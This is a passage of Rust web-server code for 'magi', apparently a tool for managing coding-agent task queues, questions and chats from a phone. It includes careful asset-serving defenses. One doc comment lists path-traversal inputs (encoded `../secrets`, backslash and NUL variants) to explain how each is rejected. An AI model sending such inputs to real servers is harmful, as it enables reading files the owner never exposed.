2599#[derive(Debug, Default, Deserialize)]
2600#[serde(default, deny_unknown_fields)]
2601struct HoldBody {
2602    reason: Option<String>,
2603}
2604
2605async fn queue_hold(
2606    State(ui): State<Arc<Ui>>,
2607    Path(id): Path<String>,
2608    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2609) -> ApiResult<Json<TaskView>> {
2610    // An absent body is the ordinary case - most holds are unexplained, and
2611    // that has to stay a one-tap action rather than a form. A body that is
2612    // present and malformed is still a bad request.
2613    let body = match body {
2614        Ok(Json(body)) => body,
2615        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2616        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2617    };
2618    let reason = body.reason.filter(|r| !r.trim().is_empty());
2619    mutate(ui, id, move |t| {
2620        t.hold(reason.clone());
2621        Ok(())
2622    })
2623    .await
2624}
2625
2626async fn queue_release(
2627    State(ui): State<Arc<Ui>>,
2628    Path(id): Path<String>,
2629) -> ApiResult<Json<TaskView>> {
2630    mutate(ui, id, |t| {
2631        t.release();
2632        Ok(())
2633    })
2634    .await
2635}
2636
2637/// The body of `POST /api/queue/{id}/priority`.
2638#[derive(Debug, Deserialize)]
2639#[serde(deny_unknown_fields)]
2640struct PriorityBody {
2641    priority: i32,
2642}
2643
2644/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2645///
2646/// [`Task::set_priority`] is the one place the "not while running" rule is
2647/// stated; this route only carries the body to it and lets its `Err` become
2648/// the 4xx the card shows.
2649async fn queue_priority(
2650    State(ui): State<Arc<Ui>>,
2651    Path(id): Path<String>,
2652    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2653) -> ApiResult<Json<TaskView>> {
2654    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2655    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2656}
2657
2658/// The body of `POST /api/queue/{id}/edit`.
2659#[derive(Debug, Deserialize)]
2660#[serde(deny_unknown_fields)]
2661struct EditBody {
2662    title: String,
2663    instruction: String,
2664}
2665
2666/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2667/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2668/// that refusal's message is what the sheet shows back.
2669async fn queue_edit(
2670    State(ui): State<Arc<Ui>>,
2671    Path(id): Path<String>,
2672    body: std::result::Result<Json<EditBody>, JsonRejection>,
2673) -> ApiResult<Json<TaskView>> {
2674    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2675    mutate(ui, id, move |t| {
2676        t.edit(body.title.clone(), body.instruction.clone())
2677    })
2678    .await
2679}
2680
2681/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2682/// it, so the phone's other way to clear a task from the backlog does not
2683/// have to cost the run history, the attribution, and `created_at` the way
2684/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2685/// can be marked done by hand, because this is for the run the loop never
2686/// saw land - a merge done by hand, or a gate that misreported - and that can
2687/// happen from any status the task was left in.
2688async fn queue_done(
2689    State(ui): State<Arc<Ui>>,
2690    Path(id): Path<String>,
2691) -> ApiResult<Json<TaskView>> {
2692    mutate(ui, id, |t| {
2693        t.succeed();
2694        Ok(())
2695    })
2696    .await
2697}
2698
2699/// `DELETE /api/queue/{id}`.
2700///
2701/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2702/// names this task: a `running` status or an orphaned `.lock` left behind by a
2703/// killed daemon is a leftover, and treating either as authority made the
2704/// task undeletable from the phone for good. The associated runs, if any, are
2705/// kept: a run is self-contained history and not an appendage of the task.
2706async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2707    blocking(move || {
2708        let id = resolve_task(&ui.queue, &id)?;
2709        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2710        ui.queue
2711            .remove(&id, in_flight)
2712            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2713        Ok(StatusCode::NO_CONTENT)
2714    })
2715    .await
2716}
2717
2718/// Read a task, change it, write it back, under the queue's own lock.
2719///
2720/// Taking the same claim a daemon takes is what makes hold, release,
2721/// priority, edit, and done safe to press while magi is running: without it
2722/// the daemon's next save would land on top of the operator's change and
2723/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2724/// both do, for a running task - and that refusal becomes the 4xx the card
2725/// shows, same as any other domain rule.
2726async fn mutate(
2727    ui: Arc<Ui>,
2728    id: String,
2729    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2730) -> ApiResult<Json<TaskView>> {
2731    blocking(move || {
2732        let id = resolve_task(&ui.queue, &id)?;
2733        // `claim` fails when the lock file already exists, which is the
2734        // conflict the UI must report: the daemon owns that task's file for
2735        // as long as it is running it, and our write would be lost under its
2736        // next save. The message names the lock either way.
2737        let _claim = ui.queue.claim(&id).map_err(|e| {
2738            ApiError::conflict(format!(
2739                "{e:#} - a daemon is running this task, so it cannot be \
2740                 changed from here yet"
2741            ))
2742        })?;
2743        let mut task = ui.queue.get(&id)?;
2744        change(&mut task).map_err(ApiError::bad_request_from)?;
2745        ui.queue.put(&mut task)?;
2746        Ok(Json(TaskView::from(task)))
2747    })
2748    .await
2749}
2750
2751/// The change stream: one revision number per store, on connect and whenever
2752/// any of them moves.
2753///
2754/// The poll runs in one spawned task per client, which is affordable because
2755/// the work is a directory scan and a `stat` per file. It stops as soon as the
2756/// receiver is gone, so a phone that walks out of range costs nothing after
2757/// its next tick - there is no session and no cleanup to forget.
2758async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2759    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2760    tokio::spawn(async move {
2761        let mut ticker = tokio::time::interval(POLL);
2762        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2763        loop {
2764            // The first tick completes immediately, which is what makes the
2765            // stream announce the current revisions on connect.
2766            ticker.tick().await;
2767            let state = Arc::clone(&ui);
2768            let revisions = tokio::task::spawn_blocking(move || {
2769                (
2770                    state.queue.revision(),
2771                    runs_revision(&state.runs),
2772                    state.questions.revision(),
2773                    state.chats.revision(),
2774                    state.talks.revision(),
2775                    // The loop's counter is in-process state rather than a
2776                    // file, so nothing the three stats above look at would
2777                    // tell this phone that another one started the loop.
2778                    state.lock_loop().rev,
2779                )
2780            })
2781            .await;
2782            let Ok(revisions) = revisions else { break };
2783            if last == Some(revisions) {
2784                continue;
2785            }
2786            last = Some(revisions);
2787            let payload = serde_json::json!({
2788                "queue_rev": revisions.0,
2789                "runs_rev": revisions.1,
2790                "questions_rev": revisions.2,
2791                "chats_rev": revisions.3,
2792                "talks_rev": revisions.4,
2793                "loop_rev": revisions.5,
2794            });
2795            // Serializing five integers cannot fail; giving up beats looping.
2796            let Ok(event) = Event::default().event("change").json_data(payload) else {
2797                break;
2798            };
2799            if tx.send(event).await.is_err() {
2800                break;
2801            }
2802        }
2803    });
2804    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2805        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2806}
2807
2808/// Change detection token for recorded runs under `runs`.
2809///
2810/// Combines the id and `run.json` modification time of each run, so adding,
2811/// updating, or deleting any run — even an older one — moves the revision and
2812/// notifies connected clients via the change stream. Returns 0 when no runs
2813/// exist.
2814fn runs_revision(runs: &FsPath) -> u64 {
2815    use std::hash::{Hash as _, Hasher as _};
2816
2817    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2818        .into_iter()
2819        .flatten()
2820        .flatten()
2821        .filter_map(|e| {
2822            let path = e.path().join("run.json");
2823            let mtime = path
2824                .metadata()
2825                .ok()?
2826                .modified()
2827                .ok()?
2828                .duration_since(std::time::UNIX_EPOCH)
2829                .ok()?
2830                .as_millis() as u64;
2831            let id = e.file_name().to_string_lossy().into_owned();
2832            Some((id, mtime))
2833        })
2834        .collect();
2835
2836    if entries.is_empty() {
2837        return 0;
2838    }
2839
2840    entries.sort_unstable();
2841    let mut hasher = std::hash::DefaultHasher::new();
2842    for (id, mtime) in &entries {
2843        id.hash(&mut hasher);
2844        mtime.hash(&mut hasher);
2845    }
2846    let h = hasher.finish();
2847    if h == 0 { 1 } else { h }
2848}
2849
2850/// Run ids under `runs`, newest first.
2851///
2852/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2853/// which reads the process-global home: the server has to be drivable against
2854/// a temp directory for any of this to be testable.
2855fn run_ids(runs: &FsPath) -> Vec<String> {
2856    let mut ids: Vec<String> = std::fs::read_dir(runs)
2857        .into_iter()
2858        .flatten()
2859        .flatten()
2860        .filter(|e| e.path().join("run.json").is_file())
2861        .map(|e| e.file_name().to_string_lossy().into_owned())
2862        .collect();
2863    // Ids start with a sortable timestamp.
2864    ids.sort_unstable_by(|a, b| b.cmp(a));
2865    ids
2866}
2867
2868/// Read one run's state from an explicit runs root.
2869fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2870    let path = runs.join(id).join("run.json");
2871    let body =
2872        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2873    let state: RunState =
2874        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2875    if state.schema != run::SCHEMA {
2876        anyhow::bail!(
2877            "run {} was written by a different magi (schema {}, this build speaks {})",
2878            state.id,
2879            state.schema,
2880            run::SCHEMA
2881        );
2882    }
2883    Ok(state)
2884}
2885
2886/// Runs on disk under `runs` whose state this build cannot parse - almost
2887/// always a schema bump, occasionally a run killed mid-write.
2888///
2889/// Exposed so every surface that reports on runs shares one count instead of
2890/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2891/// `magi doctor` calls this directly rather than guessing at the same number
2892/// a second way.
2893#[must_use]
2894pub fn runs_unreadable(runs: &FsPath) -> usize {
2895    run_ids(runs)
2896        .into_iter()
2897        .filter(|id| read_run(runs, id).is_err())
2898        .count()
2899}
2900
2901/// Expand an id or short id to exactly one run id.
2902fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2903    if runs.join(id).join("run.json").is_file() {
2904        return Ok(id.to_owned());
2905    }
2906    pick(run_ids(runs), id, "run")
2907}
2908
2909/// Expand an id or short id to exactly one task id.
2910fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2911    if queue.path_of(id).is_file() {
2912        return Ok(id.to_owned());
2913    }
2914    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2915}
2916
2917/// A question as the phone reads it.
2918///
2919/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2920/// text already parsed into a node tree so the client never runs its own
2921/// markdown reader over agent-authored prose. A relative image path in it
2922/// resolves against this question's own panel asset route, which is the one
2923/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2924/// separate, sandboxed document, but `detail` is rendered inline in the
2925/// operator's own page, so an image reference in it may only ever point at
2926/// files magi itself already serves for this question.
2927#[derive(Debug, Serialize)]
2928struct QuestionView {
2929    #[serde(flatten)]
2930    question: Question,
2931    detail_md: Vec<md::Node>,
2932    /// Is the ball in the agent's court right now?
2933    ///
2934    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
2935    /// [`Question::say`] - so this is the one field that tells the phone to
2936    /// disable the answer controls and show "waiting for the agent" instead of
2937    /// a card the owner can act on. Computed rather than stored on
2938    /// [`Question`] itself, on the same reasoning as `waiting` on
2939    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
2940    /// it here means the client never has to re-derive that rule.
2941    waiting_on_agent: bool,
2942}
2943
2944impl From<Question> for QuestionView {
2945    fn from(question: Question) -> Self {
2946        let base = md::ImageBase::QuestionPanel {
2947            id: question.id.clone(),
2948        };
2949        Self {
2950            detail_md: md::to_nodes(&question.detail, &base),
2951            waiting_on_agent: question.waiting_on_agent(),
2952            question,
2953        }
2954    }
2955}
2956
2957/// `GET /api/questions`.
2958///
2959/// Everything, not just the open ones: an answered question is the record of a
2960/// decision, and the phone is where the operator goes back to check what they
2961/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2962async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2963    blocking(move || {
2964        Ok(Json(
2965            ui.questions
2966                .list()
2967                .into_iter()
2968                .map(QuestionView::from)
2969                .collect(),
2970        ))
2971    })
2972    .await
2973}
2974
2975/// The body of `POST /api/questions/{id}/answer`.
2976///
2977/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2978/// a bad request rather than a guess: an answer magi invented is worse than a
2979/// question left open.
2980#[derive(Debug, Default, Deserialize)]
2981#[serde(default, deny_unknown_fields)]
2982struct NewAnswer {
2983    choice: Option<String>,
2984    text: Option<String>,
2985}
2986
2987async fn question_answer(
2988    State(ui): State<Arc<Ui>>,
2989    Path(id): Path<String>,
2990    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2991) -> ApiResult<Json<QuestionView>> {
2992    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2993    let answer = match (body.choice, body.text) {
2994        (Some(c), None) => Answer::Choice(c),
2995        (None, Some(t)) => Answer::Text(t),
2996        (Some(_), Some(_)) => {
2997            return Err(ApiError::bad_request(
2998                "send either `choice` or `text`, not both",
2999            ));
3000        }
3001        (None, None) => {
3002            return Err(ApiError::bad_request("send a `choice` or a `text`"));
3003        }
3004    };
3005
3006    blocking(move || {
3007        let id = resolve_question(&ui.questions, &id)?;
3008        let mut q = ui
3009            .questions
3010            .get(&id)
3011            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3012        if !q.status.open() {
3013            // Answered from the terminal, or by another phone, in between the
3014            // list and the tap. The UI shows the recorded answer rather than an
3015            // error, so it needs the record, not just the status.
3016            return Err(ApiError::conflict(format!(
3017                "question {} is already {}",
3018                q.short(),
3019                q.status.as_str()
3020            )));
3021        }
3022        // `Question::answer` owns the rules - an unoffered choice, free text on
3023        // a multiple-choice question, an empty reply - so the route does not
3024        // restate them and cannot drift from the CLI's behaviour.
3025        q.answer(answer).map_err(ApiError::bad_request_from)?;
3026        ui.questions.put(&mut q)?;
3027        Ok(Json(QuestionView::from(q)))
3028    })
3029    .await
3030}
3031
3032/// The body of `POST /api/questions/{id}/say`.
3033#[derive(Debug, Deserialize)]
3034#[serde(deny_unknown_fields)]
3035struct NewSay {
3036    body: String,
3037}
3038
3039/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
3040///
3041/// Synchronous, unlike `POST /api/chats/{id}/say`: that route spawns an agent
3042/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
3043/// file, so there is no turn to serialize against and no [`Ui::begin_turn`]
3044/// guard to take. The agent waiting on this question is a *different*
3045/// process - the run parked behind `magi ask` - and picks the reply up on its
3046/// own poll of the very same file, same as an answer does.
3047async fn question_say(
3048    State(ui): State<Arc<Ui>>,
3049    Path(id): Path<String>,
3050    body: std::result::Result<Json<NewSay>, JsonRejection>,
3051) -> ApiResult<Json<QuestionView>> {
3052    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3053    blocking(move || {
3054        let id = resolve_question(&ui.questions, &id)?;
3055        let mut q = ui
3056            .questions
3057            .get(&id)
3058            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3059        if !q.status.open() {
3060            // Same granularity as `question_answer`: answered or abandoned in
3061            // between the list and the tap is not this route's error to
3062            // explain any differently.
3063            return Err(ApiError::conflict(format!(
3064                "question {} is already {}",
3065                q.short(),
3066                q.status.as_str()
3067            )));
3068        }
3069        // `Question::say` owns the one rule that matters here - an empty
3070        // message tells the agent nothing - so the route does not restate it.
3071        q.say(body.body).map_err(ApiError::bad_request_from)?;
3072        ui.questions.put(&mut q)?;
3073        Ok(Json(QuestionView::from(q)))
3074    })
3075    .await
3076}
3077
3078/// Expand an id or short id to exactly one question id.
3079fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3080    if store.path_of(id).is_file() {
3081        return Ok(id.to_owned());
3082    }
3083    pick(
3084        store.list().into_iter().map(|q| q.id).collect(),
3085        id,
3086        "question",
3087    )
3088}
3089
3090/// `GET /api/questions/{id}/panel`.
3091///
3092/// The panel an agent wrote for this question, as `text/html` under
3093/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3094/// A question without one is a 404 rather than an empty page: the client
3095/// preflights this route with `HEAD` and must be able to tell "no panel" from
3096/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3097/// parent document so it cannot tell the difference by looking.
3098///
3099/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3100/// sanitises or minifies it - a sanitiser is a list of things someone thought
3101/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3102/// is the direction that stays safe when an agent writes markup nobody
3103/// predicted.
3104async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3105    blocking(move || {
3106        let id = resolve_question(&ui.questions, &id)?;
3107        let Some(html) = ui.questions.panel_html(&id) else {
3108            return Err(ApiError::not_found(format!("question {id} has no panel")));
3109        };
3110        Ok(panel_response(
3111            "text/html; charset=utf-8",
3112            false,
3113            html.into_bytes(),
3114        ))
3115    })
3116    .await
3117}
3118
3119/// `GET /api/questions/{id}/asset/{name}`.
3120///
3121/// One file from the question's own panel directory, so a panel can show a
3122/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3123/// having to allow anything off this machine.
3124///
3125/// This is the only route in the server where a client names a file, so it is
3126/// the only one with a traversal surface, and the name is checked by
3127/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3128/// what is worth being explicit about, because the answer is not "all of it in
3129/// one place":
3130///
3131/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3132///   the raw request path and `{name}` spans exactly one segment, so a real
3133///   slash makes the request too long for the route and the router answers 404.
3134/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3135///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3136///   `..\secrets` respectively, which look like plain filenames to the router.
3137///   The validator refuses them here - both for the literal `..` and because
3138///   `/` and `\` are not in the permitted character set - and answers 400.
3139/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3140///   the platform's path API is not, and it is refused here for the same
3141///   reason: NUL is not a permitted character.
3142/// * [`Questions::panel_asset`] validates again on read, so the check is not
3143///   load-bearing in only one place. This route's own check exists so the
3144///   failure is a 400 that says which name was wrong, rather than a store error
3145///   the operator has to interpret.
3146async fn question_asset(
3147    State(ui): State<Arc<Ui>>,
3148    Path((id, name)): Path<(String, String)>,
3149) -> ApiResult<Response> {
3150    // Before any filesystem work and before any path is built: a name this
3151    // server will not serve should not become a `PathBuf` at all.
3152    if !crate::ask::valid_asset_name(&name) {
3153        return Err(ApiError::bad_request(format!(
3154            "`{name}` is not a usable asset name"
3155        )));
3156    }
3157    blocking(move || {
3158        let id = resolve_question(&ui.questions, &id)?;
3159        let asset = ui
3160            .questions
3161            .panel_asset(&id, &name)
3162            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3163        let Some(bytes) = asset else {
3164            return Err(ApiError::not_found(format!(
3165                "question {id} has no asset `{name}`"
3166            )));
3167        };
3168        Ok(panel_response(
3169            asset_content_type(&name),
3170            is_svg(&name),
3171            bytes,
3172        ))
3173    })
3174    .await
3175}
3176
3177/// Content type for a panel asset, from a closed whitelist.
3178///
3179/// A whitelist with an `application/octet-stream` fallback rather than a
3180/// guess, because the one answer that must never come out of here is
3181/// `text/html`. An agent that writes `notes.html` into its panel directory and
3182/// links it would otherwise get its own markup rendered at the top level of the
3183/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3184/// magi's origin - which is precisely the thing the panel design exists to
3185/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3186///
3187/// `nosniff` accompanies this on every response, so a browser cannot decide it
3188/// knows better than the type we sent.
3189fn asset_content_type(name: &str) -> &'static str {
3190    match extension(name).as_deref() {
3191        Some("png") => "image/png",
3192        Some("jpg" | "jpeg") => "image/jpeg",
3193        Some("gif") => "image/gif",
3194        Some("webp") => "image/webp",
3195        Some("svg") => "image/svg+xml",
3196        Some("css") => "text/css; charset=utf-8",
3197        Some("txt") => "text/plain; charset=utf-8",
3198        _ => "application/octet-stream",
3199    }
3200}
3201
3202/// Is this an SVG, and therefore a file that must never be opened at the top
3203/// level?
3204fn is_svg(name: &str) -> bool {
3205    extension(name).as_deref() == Some("svg")
3206}
3207
3208/// Lowercased extension, or `None` for a name without one.
3209fn extension(name: &str) -> Option<String> {
3210    name.rsplit_once('.')
3211        .map(|(_, ext)| ext.to_ascii_lowercase())
3212}
3213
3214/// Every panel response, with the four headers that make it safe and, for an
3215/// SVG, a fifth.
3216///
3217/// One function rather than a header list per handler, because a panel route
3218/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3219/// model gone, silently, on one of two routes. Adding a third panel route later
3220/// means calling this, and there is nowhere else to build a panel response.
3221///
3222/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3223/// as an `<img src>` inside the panel that script cannot run - but the asset
3224/// URL is also a plain URL an operator can be talked into opening in a tab,
3225/// where it is a document on magi's own origin. `Content-Disposition:
3226/// attachment` makes the browser download it instead of rendering it, which
3227/// closes that door without taking away the ability to draw a diff. Raster
3228/// images have no such execution surface and are left inline, so tapping a
3229/// screenshot still shows it.
3230fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3231    let mut res = (
3232        [
3233            (header::CONTENT_TYPE, content_type),
3234            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3235            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3236            (header::REFERRER_POLICY, "no-referrer"),
3237        ],
3238        body,
3239    )
3240        .into_response();
3241    if download {
3242        res.headers_mut().insert(
3243            header::CONTENT_DISPOSITION,
3244            HeaderValue::from_static("attachment"),
3245        );
3246    }
3247    res
3248}
3249
3250/// A chat as the phone reads it.
3251///
3252/// Every field of [`Chat`] verbatim, plus the things `app.js` would otherwise
3253/// have to work out itself: `turn_bodies_md`, one markdown node tree per entry
3254/// of `turns` in the same order; `draft_md`, the parsed form of `draft` when
3255/// there is one; and `thinking`. `turns` and `draft` are untouched - a client
3256/// reading the exact bytes a chat turn holds, or the exact bytes that would
3257/// be filed as a task, still can.
3258#[derive(Debug, Serialize)]
3259struct ChatView {
3260    #[serde(flatten)]
3261    chat: Chat,
3262    turn_bodies_md: Vec<Vec<md::Node>>,
3263    draft_md: Option<Vec<md::Node>>,
3264    /// Whether this chat's agent turn is claimed by [`Ui::begin_turn`] in
3265    /// *this process* right now.
3266    ///
3267    /// Not part of [`Chat`] and not written to `<id>.json`: it is this
3268    /// process's own in-memory claim, not a fact about the conversation, so a
3269    /// second `magi web` on the same home - or this one after a restart -
3270    /// would otherwise report a stale answer. It is a progress hint, not a
3271    /// completion signal: a turn that just finished writing to disk still
3272    /// reads `thinking: true` for the instant between the write and the
3273    /// guard's drop, and the front end must treat the transcript, not this
3274    /// flag going false, as the source of truth for a landed reply.
3275    thinking: bool,
3276}
3277
3278impl ChatView {
3279    fn new(chat: Chat, thinking: bool) -> Self {
3280        let turn_bodies_md = chat
3281            .turns
3282            .iter()
3283            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3284            .collect();
3285        let draft_md = chat
3286            .draft
3287            .as_deref()
3288            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
3289        Self {
3290            turn_bodies_md,
3291            draft_md,
3292            thinking,
3293            chat,
3294        }
3295    }
3296}
3297
3298/// `GET /api/chats`.
3299///
3300/// Every interview, open ones first and newest first, which is
3301/// [`Chats::list`]'s own order. The whole record including the transcript: a
3302/// conversation is a few kilobytes, the phone renders it directly, and a
3303/// summary here would mean a second round trip to read the only thing a chat
3304/// is made of.
3305async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
3306    blocking(move || {
3307        Ok(Json(
3308            ui.chats
3309                .list()
3310                .into_iter()
3311                .map(|chat| {
3312                    let thinking = ui.is_thinking(&chat.id);
3313                    ChatView::new(chat, thinking)
3314                })
3315                .collect(),
3316        ))
3317    })
3318    .await
3319}
3320
3321async fn chat_detail(
3322    State(ui): State<Arc<Ui>>,
3323    Path(id): Path<String>,
3324) -> ApiResult<Json<ChatView>> {
3325    blocking(move || {
3326        let id = resolve_chat(&ui.chats, &id)?;
3327        let chat = ui.chats.get(&id)?;
3328        let thinking = ui.is_thinking(&chat.id);
3329        Ok(Json(ChatView::new(chat, thinking)))
3330    })
3331    .await
3332}
3333
3334/// The body of `POST /api/chats`.
3335///
3336/// `agent` names a seat from the roster to do the interviewing; absent means
3337/// the configured default, which is what the phone sends. `repo` is a path,
3338/// not a short name - resolving `owner/repo` against `[repos] roots` is the
3339/// job of whatever built the picker the operator chose from, i.e.
3340/// `GET /api/repos`, so this route only ever has to trust a path. `from`
3341/// derives this conversation from an existing one - see [`chat::open`].
3342/// Unknown fields are ignored so a newer front end still starts an interview
3343/// against an older binary.
3344#[derive(Debug, Default, Deserialize)]
3345#[serde(default)]
3346struct NewChat {
3347    idea: String,
3348    agent: Option<String>,
3349    repo: Option<PathBuf>,
3350    from: Option<String>,
3351}
3352
3353/// `POST /api/chats`.
3354///
3355/// The same asynchronous shape as [`chat_say`], for the same reason: starting
3356/// an interview runs the first agent turn, and holding the connection for that
3357/// is the coin flip on a phone `chat_say`'s doc explains. [`chat::build`]
3358/// constructs the record in memory only - fast, and everything in it is
3359/// checked before anything is written - so [`Ui::begin_turn`] can claim
3360/// `chat.id` *before* [`Chats::put`] makes it visible to any other request.
3361/// That order matters: the id does not exist anywhere until this handler
3362/// publishes it, so nothing else can resolve it, let alone claim or record
3363/// into it, ahead of the claim taken here. Publishing first and claiming
3364/// second would reopen exactly the race `chat_say`'s own 409 exists to
3365/// close - a `say` racing this response could win `begin_turn` first and
3366/// record into a seat whose first turn never ran, while this handler's own
3367/// claim then fails for a chat file it already created.
3368///
3369/// Every failure that reaches this function before [`Ui::begin_turn`] is
3370/// reported as a 4xx and creates no chat file: an empty `idea`, a bad `from`,
3371/// a `repo` whose configuration will not load, or a `repo` with no runnable
3372/// interviewing agent are all things the caller sent, not a server fault, and
3373/// none of them are worth a conversation record nobody can answer.
3374async fn chat_post(
3375    State(ui): State<Arc<Ui>>,
3376    body: std::result::Result<Json<NewChat>, JsonRejection>,
3377) -> ApiResult<impl IntoResponse> {
3378    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3379    if body.idea.trim().is_empty() {
3380        return Err(ApiError::bad_request(
3381            "an interview needs something to interview about",
3382        ));
3383    }
3384
3385    // Resolved before anything is created, so a bad `from` id is a 4xx that
3386    // names it rather than a chat record nobody asked for.
3387    let from = {
3388        let ui = Arc::clone(&ui);
3389        let from_id = body.from.clone();
3390        blocking(move || match from_id {
3391            None => Ok(None),
3392            Some(id) => {
3393                let resolved = resolve_chat(&ui.chats, &id)?;
3394                Ok(Some(ui.chats.get(&resolved)?))
3395            }
3396        })
3397        .await?
3398    };
3399
3400    // Read the configuration for this request rather than at startup, so an
3401    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
3402    // without restarting the server the operator reaches from their phone.
3403    // `bad_request_from` rather than the usual `?`: a repo whose config will
3404    // not load is the `repo` the caller named, not this server's fault.
3405    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3406    let cfg = {
3407        let repo = repo.clone();
3408        blocking(move || {
3409            Config::discover(&repo, None)
3410                .map(|(cfg, _)| cfg)
3411                .map_err(ApiError::bad_request_from)
3412        })
3413        .await?
3414    };
3415
3416    // `chat::build`'s only reachable failure here is `plan::pick` refusing the
3417    // roster - the idea was already checked non-empty above - which is again
3418    // the caller's `agent`/`repo` choice, not a server fault. It only
3419    // constructs `chat` in memory: nothing is written yet, and nothing else
3420    // can see or claim `chat.id` until this handler publishes it below.
3421    let mut chat = {
3422        let cfg = cfg.clone();
3423        let idea = body.idea.clone();
3424        let agent = body.agent.clone();
3425        let from = from.clone();
3426        blocking(move || {
3427            chat::build(&cfg, repo, &idea, agent.as_deref(), from.as_ref())
3428                .map_err(ApiError::bad_request_from)
3429        })
3430        .await?
3431    };
3432
3433    // Claimed *before* the record is written to disk, not after: once
3434    // `Chats::put` below makes `chat.id` visible, `GET /api/chats` can name
3435    // it and `POST /api/chats/{id}/say` can resolve it. A claim taken only
3436    // after that write leaves a gap where a `say` racing this handler can
3437    // win `begin_turn` first, record into a seat whose first turn never ran,
3438    // and hand this handler a 409 for a chat file it just created - the
3439    // opposite of the `chat_say`-shaped 409 this route means to give.
3440    let _turn = ui.begin_turn(&chat.id)?;
3441
3442    // Persist now that the id is claimed - safe to publish, because anyone
3443    // who finds it will also find it already busy.
3444    chat = {
3445        let ui = Arc::clone(&ui);
3446        blocking(move || {
3447            ui.chats.put(&mut chat)?;
3448            Ok(chat)
3449        })
3450        .await?
3451    };
3452    let thinking = ui.is_thinking(&chat.id);
3453    let queued = ChatView::new(chat.clone(), thinking);
3454
3455    let chats = ui.chats.clone();
3456    let id = chat.id.clone();
3457    tokio::spawn(async move {
3458        let _turn = _turn;
3459        if let Err(e) = chat::first_turn(&mut chat, &chats, &cfg, from.as_ref()).await {
3460            // `first_turn` records the failure in the transcript itself,
3461            // which is what the phone reads; this line is for the operator's
3462            // terminal.
3463            tracing::warn!("chat {id} first turn failed: {e:#}");
3464        }
3465    });
3466
3467    // 202: the record is on disk and a turn is running. The front end learns
3468    // the reply from the change stream, the same way it learns everything
3469    // else - see `chat_say`.
3470    Ok((StatusCode::ACCEPTED, Json(queued)))
3471}
3472
